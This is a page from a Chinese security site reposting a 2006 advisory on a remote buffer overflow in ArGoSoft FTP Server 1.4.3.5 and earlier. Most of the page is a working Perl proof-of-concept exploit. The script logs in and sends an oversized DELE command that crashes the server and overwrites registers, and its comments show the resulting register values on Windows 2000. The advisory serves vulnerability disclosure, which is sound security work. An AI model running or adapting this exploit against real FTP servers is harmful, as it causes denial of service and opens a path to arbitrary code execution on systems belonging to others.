首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ArGoSoft FTP Server Remote Buffer Overflow Exploit
来源:jerome.athias@free.fr 作者:Jerome 发布时间:2006-02-27  

ArGoSoft FTP Server Remote Buffer Overflow Exploit

Summary
"ArGoSoft FTP Server is a FTP server for Windows95/98/NT, and supports all basic FTP commands, and much more, such as passive mode, resuming file transfers, windows shortcuts to another files, folders and drives (including network drives), virtual domains (multiple IP homes), IP filtering, site specific commands, such as compressing and copying files on the server, changing date/time stamps, and so on."

Lack of proper length validation in ArGoSoft FTP server commands allows attackers to execute arbitrary code or cause a DoS condition and crash the server.

Credit:
The information has been provided by Jerome Athias.
The original article can be found at: https://www.securinfos.info/english/security-advisories-alerts/20060225_ArGoSoft.FTP.Server_Heap.Overflow.html

Details
Vulnerable Systems:
* ArGoSoft FTP server 1.4.3.5 and prior

#!/usr/bin/perl

# ---------------------------------------------------- #
# ArgoSoftFTP.pl - PoC exploit for ArgoSoft FTP Server #
# Jerome Athias #
# ---------------------------------------------------- #

use Net::FTP;

# geting data
$host = @ARGV[0];
$port = @ARGV[1];
$debug = @ARGV[2];
$user = @ARGV[3];
$pass = @ARGV[4];

# ===========

if (($host) && ($port)) {

# make exploit string
$exploit_string = "DELE ";
$exploit_string .= "A" x 2041;
$exploit_string .= "B" x 4;
$exploit_string .= "C" x 1026;

# On Win2K SP4 FR:
# EAX 42424241
# ECX 43434343
# EDX 43434342
# EBX 43434B73

# ===================

print "Trying to connect to $host:$port\n";
$sock = Net::FTP->new("$host",Port => $port, TimeOut => 30, Debug=> $debug) or die "[-] Connection failed\n";
print "[+] Connect OK!\n";
print "Logging...\n";
if (!$user) {
$user = "test";
$pass = "test";
}
$sock->login($user, $pass);
$answer = $sock->message;
print "Sending string...\n";
$sock->quot($exploit_string);
} else {
print "ArgoSoft FTP Server - PoC
Exploit\nhttps://www.securinfos.info\n\nUsing: $0 host port username password [debug: 1 or 0]\n\n";
}

# EoF



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·SCO UnixWare ptrace Call Binar
·Local privilege escalation exp
·PHPNuke versions 7.8 and below
·iGENUS WebMail <= 2.0.2 rem
·Noah's Classifieds versions 1.
·Microsoft Windows Plug and Pla
·Mozilla Thunderbird : Remote C
·Snort Back Orifice Pre-process
·Apple Mac OS X / Safari __MACO
·Net Portal Dynamic System Deni
·Microsoft Windows Media Player
·Snort Back Orifice Pre-process
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved